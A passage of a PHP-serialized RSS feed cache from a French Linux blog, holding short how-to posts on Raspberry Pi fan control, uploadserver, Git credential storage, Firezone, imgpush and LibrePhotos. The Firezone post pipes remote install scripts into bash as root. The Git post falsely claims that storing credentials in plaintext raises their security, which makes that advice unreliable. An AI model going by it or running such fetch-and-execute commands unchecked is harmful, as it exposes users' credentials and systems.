";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:15;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:55:"Régler la vitesse du ventilateur de votre Raspberry Pi";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:30:"https://azlinux.fr/fancontrol/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 12 Oct 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:30:"https://azlinux.fr/fancontrol/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:3598:"<img src="https://azlinux.fr/uploads/87d6e95d0edd0b2d33144b1df4f43b35.webp" alt="Featured image of post Régler la vitesse du ventilateur de votre Raspberry Pi" /><p>Si vous avez un Raspberry Pi, vous savez probablement que l&rsquo;un des problèmes les plus courants est la surchauffe de la carte. Pour éviter cela, il est recommandé d&rsquo;utiliser un ventilateur pour refroidir votre Raspberry Pi. Cependant, il est important de régler la vitesse du ventilateur de manière à ce qu&rsquo;il refroidisse suffisamment votre Raspberry Pi, sans pour autant être trop bruyant.</p>
<p>Pour régler la vitesse de votre ventilateur de Raspberry Pi, nous allons utiliser deux outils : <code>pwmconfig</code> et <code>fancontrol</code>. Ces deux outils vous permettent de régler la vitesse du ventilateur en fonction de la température de votre Raspberry Pi.</p>
<p>Pour installer <code>pwmconfig</code>, vous devrez d&rsquo;abord installer un paquet appelé <code>lm-sensors</code>. Vous pouvez le faire en utilisant la commande suivante :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt install lm-sensors
</span></span></code></pre></div><h2 id="utilisation-de-pwmconfig">Utilisation de pwmconfig</h2>
<p>Une fois que <code>lm-sensors</code> est installé, vous pouvez utiliser la commande <code>pwmconfig</code> pour configurer la vitesse du ventilateur de votre Raspberry Pi. Pour ce faire, utilisez la commande suivante :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo pwmconfig
</span></span></code></pre></div><h2 id="utilisation-de-fancontrol">Utilisation de fancontrol</h2>
<p><code>fancontrol</code> est un utilitaire qui permet de contrôler la vitesse du ventilateur de votre Raspberry Pi en fonction de la température de l&rsquo;ordinateur. Pour utiliser <code>fancontrol</code>, vous devez d&rsquo;abord l&rsquo;installer en utilisant la commande suivante :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt install fancontrol
</span></span></code></pre></div><p>Une fois l&rsquo;installation terminée, vous pouvez activer <code>fancontrol</code> en utilisant la commande suivante :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">systemctl <span class="nb">enable</span> --now fancontrol
</span></span></code></pre></div><p>Cette commande activera le contrôle du ventilateur, ce qui signifie que le ventilateur fonctionnera à la vitesse que vous avez définie avec <code>pwmconfig</code>. Votre Raspberry Pi devrait maintenant être refroidi de manière efficace, sans être bruyant.</p>
<h2 id="conclusion">Conclusion</h2>
<p>En suivant les étapes décrites ci-dessus, vous devriez être en mesure de régler la vitesse du ventilateur de votre Raspberry Pi de manière efficace. Cela permettra à votre ordinateur de fonctionner de manière optimale en toute circonstance, en évitant les surchauffes qui pourraient endommager votre matériel. N&rsquo;hésitez pas à jouer avec les différents réglages pour trouver la configuration idéale pour votre setup.</p>
<p>[ <a class="link" href="https://dietpi.com/forum/t/14175/7"  target="_blank" rel="noopener"
    >SOURCE</a> ]</p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:16;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:62:"Envoyez rapidement des fichiers d&#039;un appareil à un autre";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:32:"https://azlinux.fr/uploadserver/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Mon, 26 Sep 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:32:"https://azlinux.fr/uploadserver/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:3216:"<img src="https://azlinux.fr/uploads/3413b7adce4d328f35ebefa4a221c04d.webp" alt="Featured image of post Envoyez rapidement des fichiers d'un appareil à un autre" /><p>Uploadserver est un serveur web Python incluant une page de téléchargement de fichiers.</p>
<h2 id="installation">Installation</h2>
<p>Pour installer uploadserver, il suffit d’exécuter cette commande :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">pip3 install uploadserver
</span></span></code></pre></div><h2 id="utilisation">Utilisation</h2>
<p>Après le démarrage du serveur, la page de téléchargement se trouve à /upload. Par exemple, si le serveur fonctionne à l&rsquo;adresse http://localhost:8000/, allez à http://localhost:8000/upload.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">python3 -m uploadserver <span class="m">8000</span>
</span></span></code></pre></div><h3 id="utiliser-un-token">Utiliser un token</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">python3 -m uploadserver -t token
</span></span></code></pre></div><h3 id="thème-clair--sombre">Thème clair / sombre</h3>
<p>Si aucune option n&rsquo;est spécifiée, le schéma de couleurs est choisi en fonction des préférences du navigateur du client. Pour imposer le thème clair ou sombre, le paramètre CLI <code>--theme</code> peut être utilisé :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">python3 -m uploadserver --theme light
</span></span></code></pre></div><p>ou</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">python3 -m uploadserver --theme dark
</span></span></code></pre></div><h3 id="utiliser-le-protocole-https">Utiliser le protocole HTTPS</h3>
<h4 id="générer-un-certificat-auto-signé">Générer un certificat auto-signé</h4>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj <span class="s1">&#39;/CN=server&#39;</span>
</span></span></code></pre></div><p>La racine du serveur ne doit pas contenir le certificat, pour des raisons de sécurité.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="nb">cd</span> server-root
</span></span><span class="line"><span class="ln">2</span><span class="cl">python3 -m uploadserver --server-certificate server.pem
</span></span></code></pre></div><p>[ <a class="link" href="https://github.com/Densaugeo/uploadserver"  target="_blank" rel="noopener"
    >SOURCE</a> ]</p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:17;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:76:"DuckDuckGo ouvre à tous son service d&#039;adresses électroniques jetables";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:89:"https://azlinux.fr/duckduckgo-ouvre-a-tous-son-service-d-adresses-electroniques-jetables/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 25 Aug 2022 17:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:89:"https://azlinux.fr/duckduckgo-ouvre-a-tous-son-service-d-adresses-electroniques-jetables/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1476:"<img src="https://azlinux.fr/uploads/400a8f8b33e9f93316aec2a9d04fcb79.webp" alt="Featured image of post DuckDuckGo ouvre à tous son service d'adresses électroniques jetables" /><p>DuckDuckGo ouvre son service &ldquo;Email Protection&rdquo; à tous en bêta ouverte après un an en bêta fermée. Le service permet via une adresse email &ldquo;@duck.com&rdquo; d&rsquo;intercepter les trackers dans un email puis de les supprimer avant de rediriger ces emails vers votre boîte mail principal. Vous pouvez également utiliser le service comme une adresse électronique jetable.</p>
<p><img src="https://azlinux.fr/uploads/ec9bea0025bfcae0d31f7f2ea06f4c1f.webp"
	
	
	
	loading="lazy"
	
	
></p>
<p>L&rsquo;extension <a class="link" href="https://addons.mozilla.org/fr/firefox/addon/duckduckgo-for-firefox/"  target="_blank" rel="noopener"
    >DuckDuckGo Privacy Essentials</a> vous permet de générer une adresse aléatoire en cliquant simplement sur &ldquo;Use Duck Address&rdquo; et vous permettra ensuite d&rsquo;obtenir une adresse de la forme <a class="link" href="mailto:rc25jcyn@duck.com" >rc25jcyn@duck.com</a>. Notez que vous pouvez désactiver chaque adresse privée individuellement si l&rsquo;une d&rsquo;entre elles reçoit beaucoup de spams.</p>
<p><img src="https://azlinux.fr/uploads/f0b01bc2d23e08d14f2922918520924f.webp"
	
	
	
	loading="lazy"
	
	
> <img src="https://azlinux.fr/uploads/802c5193fe9dc60f0a345026ab8c1e6b.webp"
	
	
	
	loading="lazy"
	
	
></p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:18;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:58:"Comment stocker vos informations d&#039;identification Git";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:73:"https://azlinux.fr/comment-stocker-vos-informations-d-identification-git/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 23 Aug 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:73:"https://azlinux.fr/comment-stocker-vos-informations-d-identification-git/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2214:"<img src="https://azlinux.fr/uploads/a1d42f9a5b090c4c15e5765a26142dab.webp" alt="Featured image of post Comment stocker vos informations d'identification Git" /><p>Il est important de stocker vos informations d&rsquo;identification de manière sécurisée lorsque vous travaillez avec Git. Cela vous évitera de devoir saisir vos informations d&rsquo;identification à chaque fois que vous effectuez une action sur votre dépôt.</p>
<p>Pour activer le stockage des informations d&rsquo;identification dans un dépôt Git spécifique, vous pouvez exécuter la commande suivante :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">git config credential.helper store
</span></span></code></pre></div><p>Cela permettra à Git de stocker vos informations d&rsquo;identification dans un fichier caché sur votre ordinateur, afin que vous n&rsquo;ayez pas à les saisir à chaque fois que vous effectuez une action sur le dépôt en question.</p>
<p>Si vous souhaitez activer le stockage des informations d&rsquo;identification de manière globale pour tous vos dépôts Git, vous pouvez exécuter la commande suivante :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">git config --global credential.helper store
</span></span></code></pre></div><p>Cela permettra à Git de stocker vos informations d&rsquo;identification pour tous vos dépôts, sur votre ordinateur. Il est important de noter que cela augmente la sécurité de vos informations d&rsquo;identification, mais il est important de s&rsquo;assurer que vous utilisez un ordinateur sécurisé et protégé par mot de passe.</p>
<p>En résumé, le stockage des informations d&rsquo;identification dans Git est un moyen simple et efficace de gérer vos informations d&rsquo;identification de manière sécurisée, sans avoir à les saisir à chaque fois que vous effectuez une action sur un dépôt. Il est important de s&rsquo;assurer que vous utilisez un ordinateur sécurisé lorsque vous activez cette fonctionnalité.</p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:19;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:72:"Doku un tableau de bord montrant l&#039;utilisation du disque par Docker";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:61:"https://azlinux.fr/tableau-de-bord-utilisation-disque-docker/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 19 Aug 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:61:"https://azlinux.fr/tableau-de-bord-utilisation-disque-docker/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1277:"<img src="https://azlinux.fr/uploads/39b64e233fa11b996319376188ba087a.webp" alt="Featured image of post Doku un tableau de bord montrant l'utilisation du disque par Docker" /><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">docker run -d <span class="se">\
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="se"></span>  --name doku <span class="se">\
</span></span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="se"></span>  -v /var/run/docker.sock:/var/run/docker.sock:ro <span class="se">\
</span></span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="se"></span>  -v /:/hostroot:ro <span class="se">\
</span></span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="se"></span>  -p 9090:9090 <span class="se">\
</span></span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="se"></span>  --restart unless-stopped <span class="se">\
</span></span></span><span class="line"><span class="ln">7</span><span class="cl"><span class="se"></span>  amerkurev/doku
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:20;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:60:"Firezone un serveur VPN et un pare-feu Linux auto-hébergés";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:28:"https://azlinux.fr/firezone/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 16 Aug 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:28:"https://azlinux.fr/firezone/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2394:"<img src="https://azlinux.fr/uploads/2e86d1be4a9c9df98e3395fafa83626d.webp" alt="Featured image of post Firezone un serveur VPN et un pare-feu Linux auto-hébergés" /><p>Firezone comme d&rsquo;autres outils permet via une interface web de créer votre configuration pour utiliser WireGuard comme VPN et il intègre un firewall. Si jamais une interface en ligne de commande est suffisante pour vous j&rsquo;avais fait <a class="link" href="installer-rapidement-un-serveur-wireguard-sur-un-raspberry-pi/" >un article sur le script de Nyr</a></p>
<h2 id="utilisation">Utilisation</h2>
<p>Vous pouvez ajouter des utilisateurs :</p>
<p><img src="https://azlinux.fr/uploads/4bb9d04b2c202872877c755476921ce4.webp"
	
	
	
	loading="lazy"
	
	
></p>
<p>Vous pouvez ajouter autant de périphériques que vous le souhaitez pour un utilisateur :</p>
<p><img src="https://azlinux.fr/uploads/e0c2a779f157ee87550e1e2a93c4749b.webp"
	
	
	
	loading="lazy"
	
	
></p>
<p>Et enfin, il vous propose de scanner votre configuration via un code QR, de télécharger le fichier ou simplement de copier et coller la configuration :</p>
<p><img src="https://azlinux.fr/uploads/dc6be8b8e3ccd415bf4f0640a02ad3ff.webp"
	
	
	
	loading="lazy"
	
	
></p>
<p>Et comme fonctionnalité plutôt intéressante, vous pouvez activer l&rsquo;authentification à deux facteurs qui rendra votre compte plus sûr :</p>
<p><img src="https://azlinux.fr/uploads/58864154a973595a8822155d538ea86f.webp"
	
	
	
	loading="lazy"
	
	
></p>
<h2 id="installation">Installation</h2>
<p>Pour installer Firezone, il suffit d&rsquo;exécuter cette commande :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo bash &lt;<span class="o">(</span>wget -qO- https://github.com/firezone/firezone/raw/master/scripts/install.sh<span class="o">)</span>
</span></span></code></pre></div><h2 id="désinstaller">Désinstaller</h2>
<p>Pour désinstaller Firezone, il suffit d&rsquo;exécuter cette commande :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo bash &lt;<span class="o">(</span>wget -qO- https://github.com/firezone/firezone/raw/master/scripts/uninstall.sh<span class="o">)</span>
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:21;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:55:"imgpush un outil d&#039;auto-hébergement d&#039;images";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:27:"https://azlinux.fr/imgpush/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 16 Aug 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:27:"https://azlinux.fr/imgpush/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2227:"<img src="https://azlinux.fr/uploads/8c47c4efe64a856d88ad76b44fc9d834.webp" alt="Featured image of post imgpush un outil d'auto-hébergement d'images" /><p><a class="link" href="https://github.com/hauxir/imgpush"  target="_blank" rel="noopener"
    >imgpush</a> est un service d&rsquo;images auto-hébergé utilisable avec cURL ; voici les fonctionnalités les plus intéressantes :</p>
<ul>
<li>API simple pour le téléchargement d&rsquo;images</li>
<li>Conversion automatique des images dans le format de votre choix</li>
<li>Redimensionnement automatique des images à la taille souhaitée</li>
<li>Limitation du débit intégrée</li>
<li>Liste blanche d&rsquo;URL intégrée</li>
</ul>
<h2 id="utilisation">Utilisation</h2>
<p>Mettre une image en ligne :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">curl -F <span class="s1">&#39;file=@/some/file.jpg&#39;</span> http://some.host
</span></span></code></pre></div><p>Mettre en ligne une image à partir d&rsquo;une URL :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">curl -X POST -H <span class="s2">&#34;Content-Type: application/json&#34;</span> -d <span class="s1">&#39;{&#34;url&#34;: &#34;&lt;SOME_URL&gt;&#34;}&#39;</span> http://some.host
</span></span></code></pre></div><h2 id="installation">Installation</h2>
<p>Pour installer imgpush, il suffit d&rsquo;exécuter cette commande :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">docker run -d <span class="se">\
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="se"></span>  -v images:/images <span class="se">\
</span></span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="se"></span>  -p 5000:5000 <span class="se">\
</span></span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="se"></span>  hauxir/imgpush
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:22;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:87:"LibrePhotos un service de gestion de photos auto-hébergées similaire à Google Photos";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:31:"https://azlinux.fr/librephotos/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Mon, 15 Aug 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:31:"https://azlinux.fr/librephotos/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2069:"<img src="https://azlinux.fr/uploads/18072b8e7f8b53364570c894877fc6a5.webp" alt="Featured image of post LibrePhotos un service de gestion de photos auto-hébergées similaire à Google Photos" /><p>LibrePhotos est une alternative open-source aux services commerciaux tels que Google Photos, Amazon Photos, etc. Il est possible d&rsquo;héberger soi-même LibrePhotos, ce qui garantit que vos données personnelles, comme les photos et les vidéos, ne seront pas utilisées à des fins publicitaires, etc.</p>
<h2 id="utilisation">Utilisation</h2>
<p>Voici la page d&rsquo;accueil de LibrePhotos :</p>
<p><img src="https://azlinux.fr/uploads/5cd7be418686f44a3aabfa09edcee233.webp"
	
	
	
	loading="lazy"
	
	
></p>
<p>Outre la possibilité d&rsquo;accéder à vos images, vous pouvez également créer des dossiers partagés, ce qui peut s&rsquo;avérer très utile.</p>
<p>LibrePhotos comprend également un outil de reconnaissance des visages, mais cette fois le traitement des images est effectué sur votre serveur et non sur un serveur sur lequel vous n&rsquo;avez aucun contrôle ;)</p>
<h2 id="installation">Installation</h2>
<ol>
<li>Clonez le dépôt :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">git clone https://github.com/LibrePhotos/librephotos-docker <span class="o">&amp;&amp;</span> <span class="nb">cd</span> librephotos-docker
</span></span></code></pre></div><ol start="2">
<li>Copiez et éditez le fichier de configuration :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">cp librephotos.env .env
</span></span></code></pre></div><ol start="3">
<li>Lancez LibrePhotos :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">docker-compose up -d
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:23;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:75:"Comment utiliser l&#039;API de TinyPNG pour compresser une image via cURL ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:27:"https://azlinux.fr/tinypng/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sun, 14 Aug 2022 09:00:00 +0200";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:27:"https://azlinux.fr/tinypng/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2873:"<img src="https://azlinux.fr/uploads/34c5d9bfb10f7eae33cfeb7bef4d8c8b.webp" alt="Featured image of post Comment utiliser l'API de TinyPNG pour compresser une image via cURL ?" /><p>Si vous cherchez à compresser une image de manière simple et efficace, l&rsquo;API de TinyPNG est une solution idéale. Cette API permet de compresser des images en utilisant le format PNG ou JPEG, ce qui permet d&rsquo;obtenir des fichiers plus petits tout en conservant une qualité d&rsquo;image élevée. Dans cet article, nous allons voir comment utiliser l&rsquo;API de TinyPNG pour compresser une image en utilisant cURL.</p>
